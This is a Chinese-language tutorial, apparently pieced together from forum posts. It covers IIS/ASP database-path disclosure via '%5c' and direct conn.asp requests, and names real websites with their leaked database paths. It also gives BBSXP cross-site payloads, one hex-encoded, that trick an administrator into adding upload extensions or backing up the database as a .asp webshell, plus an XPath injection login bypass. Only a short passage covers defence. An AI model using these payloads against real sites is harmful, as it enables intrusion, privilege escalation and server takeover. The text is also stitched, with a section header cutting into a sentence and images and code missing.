    现在很多人都知道这个方法了,我就不多举例了。但清楚暴库原理的人估计是不多的,有人成功,有人不成功,《再谈%5c暴库的利用》一文总结说,须变换第二个”/”为”%5c”才行。很有实用性,但这个结论只是一种经验,其实并不正确,让我们先看看它的原理。
    “%5c”暴库法,它不是网页本身的漏洞,而是利用了IIS解码方式中的一个特性,如果IIS安全设置不周全,而网页设计者未考虑IIS错误,就会被人利用。为何要用”%5c”?它实际上是”\”的十六进制代码,也就是”\”的另一种表示法。在电脑中,它们是同一个东东,但提交”\”和”%5c”却会产生不同的结果。在IE中,我们把下面第一个地址中的”/”换成”\”提交:
    http://219.237.81.46/yddown/view.asp?id=3
    http://219.237.81.46/yddown\view.asp?id=3
    二者的访问结果是一样的。IE会自动把”\”转变成”/”,从而访问到同一地址。但是,当我们把”/”换成十六进制写法”%5c”时,IE不会对此进行转换。地址中的”%5c”被原样提交了,抓包结果如下:
    GET /yddown%5cview.asp?id=3 HTTP/1.1
    当IIS收到并做出解析时,又会将%5c还原成”\”。这样,IIS中网址的相对路径就变成/yddown\view.asp,这一点很重要,问题正是从这里开始的。
    在ASP网页中,凡调用数据库时,都会用到一个连接数据库的网页Conn.asp,它会创建一个数据库连接对象,定义要调用的数据库路径,一个典型的Conn.asp如下:
    <% dim conn dim dbpath set conn=server.createobject("adodb.connection") DBPath = Server.MapPath("admin/rds_dbd32rfd213fg.mdb") conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath %>
    大家注意第4句:”DBPath = Server.MapPath(“admin/rds_dbd32rfd213fg.mdb”)”,Server.MapPath方法的作用是将网站中的相对路径转变成物理上的绝对路径,为何要这样?因为连接数据库时,须指明它的绝对路径才能读取和写入。那什么是相对路径、绝对路径?IIS为了不让访问者知道真实的实际路径,并且确保网站不因变换地址而影响使用,它采用了一种相对路径来表示目录与文件之间的关系。也就是网址目录只表示从根目录起的相对位置。比如网站:http://219.237.81.46的根目录为:”D:\111\”,雨点下载目录则在根目录(D:\111)内的”yddown”下,我们网站访问该站时,就是在访问D:\111\yddown\目录,而http://219.237.81.46/yddown/admin/只表明了Admin与Yddown这个目录的相对关系,把这个网站放在E盘,也一样不改变Admin位于Yddown目录下的关系。
    当Server.MapPath方法将相对路径转为真实路径时,它实际是三部分路径加在一起得到真实路径的:网页目前执行时所在的相对路径,也就是从网站物理根目录起的相对路径,比如上面例子中Conn.asp处在从根目录起的”/yddown/”下;然后调用的数据库的相对路径是admin/rds_dbd32rfd213fg.mdb,这样就得到从根目录起的完整相对路径:”/yddown/admin/rds_dbd32rfd213fg.mdb”。这些都只是相对的路径,如何变为真实路径呢?
      设置过IIS的人都会知道,每一个网站,都必须指定它在硬盘上的物理目录,比如上例中,网站根目录所在的物理目录为:”D:\111″,Server.MapPath方法正是通过把”网站根目录的物理地址+完整的相对路径”,从而得到真实的物理路径,数据库在硬盘上的物理路径是:D:\111\yddown\admin\rds_dbd32rfd213fg.mdb。IIS以”\”表示真实路径的目录关系,而以”/”表示虚拟路径,这可能就是IE会自动把我们地址中的”\”转为”/”的原因。
      明白这些,我们再来理解暴库就不难了,当我们提交:http://219.237.81.46/yddown%5cview.asp?id=3时,View.asp调用Conn.asp后,得到的网页相对路径是这样的:”/yddown\”,再加上”admin/rds_dbd32rfd213fg.mdb”,就得到”/yddown\+admin/rds_dbd32rfd213fg.mdb”。在IIS中,”/”和”\”代表着不同的意义,遇到了”\”时,认为它已到了根目录所在的物理路径,不再往上解析(为何不再往上解析?后面还会分析),于是网站的完整相对路径变成了:”admin/rds_dbd32rfd213fg.mdb”,再加上根目录的物理路径,得到的真实路径变成:”D:\111\admin\rds_dbd32rfd213fg.mdb”,而这个路径是不存在的,数据库连接当然会失败,于是IIS会报错,并给出错误原因:
    Microsoft JET Database Engine 错误 ‘80004005’
    ‘D:\111\admin\rds_dbd32rfd213fg.mdb’不是一个有效的路径。 确定路径名称拼写是
    否正确,以及是否连接到文件存放的服务器。
    /yddown/conn.asp,行12
    这就是暴库方法的来历。
      《再谈%5c暴库的利用》一文中说,必须是网址中的第二级目录才可以成功,第一个不行。我们从理论上来分析一下,看到底有无规律。还以上面网址为例,如果将第一个”/”换成”%5c”,得到的网站相对路径变成”\yddows/admin/rds_dbd32rfd213fg.mdb”,解析到”\”时,认为已到物理目录,不再往前解析。而事实上,它确实也是根目录,所以得到的物理路径为:”D:\111\dydow\admin\rds_dbd32rfd213fg.mdb”,这个路径是正确的,所以不会出错,当然不会暴出数据库路径。
    第二个”/”换成”%5c”的情况,我们上面已作分析,那是不是真的就是二级页面才可以暴出呢?事实上,只是因为二级页面较为常见,并不是真理。如果这个下载系统是某一个网站中的三级目录,那第三个”/”成功的可能性更大。也就是说,最右边第一个成功可能性大!
    我先举个例子,再说原因:
    http://nice.xmu.edu.cn/channely/blog/showlog.asp?cat_id=31&log_id=246
    这个网址变第二个”/”为”%5c”时,网站打开很慢,但没有出错。当我们把第三个”/”变成”%5c”后,提交:
    http://nice.xmu.edu.cn/channely/blog%5cshowlog.asp?cat_id=31&log_id=246
    数据库暴出来了:
    Microsoft JET Database Engine 错误 ‘80004005’
    ‘H:\channely\log_mdb\%29dlog_mdb%29.asp’不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
    /channely/blog/conn.asp,行18
    为何这样?这是因为网站用了虚拟目录,也就是说这个网站的子目录Channely并
    5.9 我看暴库漏洞原理及规律2
    设置过IIS的人会知道,可以将网站目录外的一个真实物理目录设置为网站的虚拟目录。也就是说,网站的相对对径并不总是从根目录算起,很可能在某个子目录就指向了物理目录。
    上面的结果很显然,Channely已位于H:盘的根目录上,上面再没有目录。事实上,很可能网站在D:盘或E:盘,而通过IIS中设置Channely虚拟子目录指向网站根目录以外的”H:\channely\”。
    这里,我们可以更清楚的看到,微软IIS为何没有到根目录,只要遇上”\”就认为已到物理绝对路径,不再往上解析的原因,就是为了处理这种网站虚拟目录与根目录不在一起的情况。它优先查询每个目录是否指向了物理路径,如果指向了,则把它换成绝对路径,而它上面的相对地址不再解析转换。
    从以上分析可知,我们只有在数据库相对地址和它的目录绝对地址之间使用”\”(”%5c”)才能达到目的。上例中,如果在第二处使用,它只会影响到IIS寻找虚拟的Channely目录地址,而Conn.asp中解析出的数据库地”H:\channely\blog\log_mdb\%29dlog_mdb%29.asp”仍是对的。
    《再谈%5c暴库的利用》中还说了一种针对只有一级目录的解决方法:”其实一级目录我们也同样可以成功的,我们可以通过构造一个多级目录来达到暴库的目的。如:
    http://www.target.com/noexists/..%5clist.asp?id=1
    这样大家就会有新的惊喜了,呵呵。”真的吗?从理论上分析,这种方法是不会成功的。因为遇到”%5c”时,页面不再解析,所以中间构造的目录不论是真是假,都是不起作用而被舍弃了,相对路径还是到了根目录,路径不会出错。为了证明,我特意找了一个例子:
    http://www.om88.com/Article_Show.asp?ArticleID=481
    这个网站我们先用Conn.asp方法暴出数据库(后面将讲解这个方法),说明服务器和网站设置是可以暴库的。提交:
    http://www.om88.com/inc/conn.asp
    可以看到是可以暴库的,我们再提交:
    http://www.om88.com/abc/..%5cArticle_Show.asp?ArticleID=481
    却暴不出库,仍得到正常页面(换成存在的路径结果也一样),但图片无法显示。是因为相对路径变了,所以无法正确找到图片路径,但绝对路径解析时被”%5c”舍弃了,没有出错,当然暴不出库了。
    Conn.asp暴库大法
    这里的Conn.asp只是表示数据库调用文件,因为多数都是这个名字(有些网站改名,我们也视同Conn.asp)。其实,这种暴库法是最先出现的,以前很多牛人都对此进行过探讨,我记得黑防也在特别早的时候专门讨论了这个方法。只是在”%5c”暴库大法出现后,倒较少有人提及。其实个人认为,”%5c”暴大法随着服务器设置安全性的加强,用武之地会越来越少。而Conn.asp暴库大法发挥的余地更大,可以人为构造,臭要饭的当年著名的动网大挪移实现暴库,其实也属于此类。
    在上面http://www.om88.com/的一例中,用”%5c”暴不出数据库路径,因为没有二级目录,但用第二种却可以暴出,它是动力系统的。我们再来看另外一个盗帅的例子:http://www.51see.org/
    提交:
    http://www.51see.org/db/user.asp
    得到如下结果,
    “Microsoft JET Database Engine 错误 ‘80004005’
    ‘d:\Hosting\wwwroot\uilady_com\htdocs\db\db\downloadwoaini12345.asp’不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
    /db/user.asp,行6 ”
    有人可能会说,这么简单就暴库,好爽!是不是所有网站都可以这样啊?当然不是,已作了防护的站点肯定不行,没作防护的,要暴库也是有条件的。如果说第一种暴库法是利用了绝对路径出错,那么,这种暴库法就是利用了相对路径出错。
    一般来说,只要Conn.asp不在根目录的系统,而调用文件在根目录,就会出现这种问题。当然这种说法也是经验性的,准确的说就是,Conn.asp与调用它的文件如果相对位置改变了,就会报错,暴出数据库路径。这样说可能有人不明白,不要紧,接着看你就会明白的。
    我们从动力文章系统说起。
    动力文章系统的Conn.asp位于系统下的INC目录下,而很多调用它的文件在系统根目录下,比如User_ChkLogin.asp等,这样当Conn.asp执行时,它是在系统根目录”D:\wwwroot\zyx688\wwwroot\”下执行的。因此,Conn.asp文件中,调用数据库时它考虑到执行时的目录路径,因而数据库的相对地址写成如下:
    db=”database/fp360609.asp”
    这样,当它在系统根目录下执行时,数据库的相对路径为根目录下的”database”目录,但当我们直接请求它时,它工作的当前目录是在根目录下的INC目录内,这时数据库的相对路径就变成了”inc/database/fp360609.asp”,这样它当然出错,得到的绝对路径中也多出了”inc”。为了让大家看得更清楚,我们举一个可以用两种方法暴库的网站,比较一下看有何不同。提交:
    http://www.pofen.com/sc/down%5cshow.asp?id=437
    得到:
    “Microsoft JET Database Engine 错误 ‘80004005’
    ‘D:\Webdata\pofen.com\sc\db\download.mdb’不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
    /sc/down/db/user.asp,行6 ”
    再提交:
    http://www.pofen.com/sc/down/db/user.asp
    得到:
    Microsoft JET Database Engine 错误 ‘80004005’
    ‘D:\Webdata\pofen.com\sc\down\db\db\download.mdb’不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
    /sc/down/db/user.asp,行6
    两种方法得到的绝对路径,一个比实际路径少了,一个则多了,这两个系统都是因为Conn.asp不在系统根目录下而引起的。那是不是Conn.asp放在根目录,与调用的文件在一个目录下就无事呢?如果在一起,当然没事,但牛人自有牛法子,可以通过构造方法来造成相对路径变化,一样能达到暴库的目的。比如,动网的大挪移手法,将Conn.asp移位,从而暴库。
    当然,实际操作中,因为Conn.asp移走后,网站无法工作,所以没有成功,但这种思路还是给很多人启发。如果有一种方法可以复制而不是移动,或者说,移动的不是Conn.asp,而是调用Conn.asp的其它文件,比如Chklogin之类,理论上就可以成功。今天刚看到一个暴动易系统路径的最新方法,其原理就是构造错误而达到获得真实路径的目的。
    防范暴库
    说白了,暴库是因为IIS服务器会对每个执行错误给出详细说明,并停止执行,IIS的默认设置又是将错误信息返回给用户。因此,要避免暴库,就应改变IIS的默认设置,选取错误时只给一个出错的通知,不给详细信息。其实,有些虚拟主机为了便于站长调试,一般不关掉信息返回,作为网站管理者,又无法对虚拟主机设置时,只能在网页中加强防范。就是在可能出错的页面加上这一句:”On Error Resume Next”。它的意思是出错后,恢复执行下面的语句,也就是不理会出错,当然就不会给出错误信息了。动易系统3.62版加上这句话后,现在就暴不出路径了,而天意商务网的Conn.asp也不在根目录,但因为加了这句,也暴不出数据库了。
    关于暴库的原理和分析就说到这里,大家有什么看法可以发文一起探讨,并恳请牛人们指教!谢谢!
    可惜插不了图片,不好意思,要不然可以更清楚的给大家看到……………….
    6 跨站脚本攻击
    6.1 跨站脚本工具
    关于跨站的扫描与验证,目前已经有工具软件支持,如WebCruiser – Web Vulnerability Scanner (Web安全漏洞扫描工具,可以扫描出网站存在SQL注入、跨站脚本攻击、XPath注入的页面,并且可以进一步进行SQL注入验证、跨站攻击验证、XPath注入验证,官方网站为 http://sec4app.com ):

    6.2 什么是XSS攻击
    XSS又叫CSS(Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。
    6.3 如何寻找XSS漏洞
    就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。 然后利用下面的技术得到一个shell.
    如何利用
    传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。
    6.4 寻找跨站漏洞
    如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入 ,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个,这个时候,你只要闭合一个,代码就会执行,如:你在标题处输入 ,这样就可以弹出一个test的框。 简单一点的话,直接用工具扫描。
    6.5 如何利用
    我举BBSXP中其中两个比较好用的跨站漏洞点为例.
    a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
    [img]http://127.0.0.1/bbsxp/admin_user.asp? menu=userok&username=linzi&membercode=5&userlife=1&posttopic=3&money=9&postrevert=0&savemoney=0&deltopic=1? time=2005-9-1+1%3A1%3A1&experience=9&country=%D6%D0%B9%FA&&
    Submit=+%B8%FC+%D0%C2+[/img]
    c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
    d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,
    除此之外我们只要在个人签名里输入
    [img]http://127.0.0.1/bbsxp/admin_setup.asp? menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6& OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720& MaxFile=102400&UpFileGenre=gif|jpg|asp%20|rar[/img]
    同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
    上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的攻击,
    再利用如下:
    修改一下个人头像的url,输入代码如下:
    admin_setup.asp? menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6& OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720& MaxFile=102400&UpFileGenre=gif|jpg|php|rar

    再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。
    来自外部的跨站攻击
    有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
    例:先上传一个文件linzi.txt,内容如下:



    上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下:
    http://127.0.0.1/bbsxp/page2.asp?username=
    我们构造备份跨站语句如下:
    http://127.0.0.1/bbsxp/page2.asp?username= %3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72 %69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D %2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69 %6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F %62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D %65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F

    %73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74 %61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65

    %3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22 %64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61 %6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D %6C%3E

    或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
    当管理员打开后,会自动备份得到一个shell.
    6.6 XSS与其它技术的结合
    从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等。
    Flash木马的制作
    这个太危险,还是省略掉算了。
    7 XPath注入
    7.1 XPath注入介绍
    XPath注入,攻击者利用Web应用对用户提交的参数过滤不严的漏洞,提交经过构造的参数,这些参数能够被注入到XPath查询语句中,获得权限信息的访问权并在此基础上更改这些信息。适用于使用XML文档存储数据的Web应用系统。和SQL注入非常相似,区别在于SQL注入是用户的输入被注入到SQL语句中,而XPath注入是用户的输入注入到XPath查询语句中。
    先来看一个简单的例子,下图是登录页面:

    输入登录信息:

    结果:

    这时返回的结果包含了很多敏感的信息,可以判断该应用采用XML存储用户认证信息。
    为便于分析,在服务器端将查询语句输出到用户的浏览器。
    在用户名或密码处输入:999′] | * | user[@role=’admin ,另一个随便输入。

    结果:

    上图中画红框处即为XPath查询语句,可以看到,刚才输入的 999′] | * | user[@role=’admin 已经成功的注入进去了!
    现在来看看服务器端是如何处理的,index.asp文件内容为:

    用于认证的user.xml内容为:



    Ben
    Elmore
    abc test123


    Shlomy
    Gantz
    xyz 123test


    从index.asp中可以看到,查询语句为:
    auth=”//users/user[loginID/text()='”+uid+”‘ and password/text()='”+pwd+”‘]”
    其含义是:选取这样的user节点,它的loginID=用户提交的uid且password=用户提交的pwd ;
    其中uid和pwd变量未经任何检查和过滤,直接传递到查询语句中,上图中实际执行的XPath语句为://users/user[loginID/text()=’999′ and password/text()=’999′] | * | user[@role=’admin’] ,含义变成:选取loginID=999且password=999的用户 或者 选取XML所有节点 或者 选择role属性(如果有)为admin的用户。该例中逻辑运算的结果是选取XML所有节点,从而导致XPath注入的发生。
    7.2 XPath注入工具
    关于XPath注入的扫描与验证,目前已经有工具软件支持,如WebCruiser – Web Vulnerability Scanner (Web安全漏洞扫描工具,可以扫描出网站存在SQL注入、跨站脚本攻击、XPath注入的页面,并且可以进一步进行SQL注入验证、跨站攻击验证、XPath注入验证,官方网站为 http://sec4app.com )。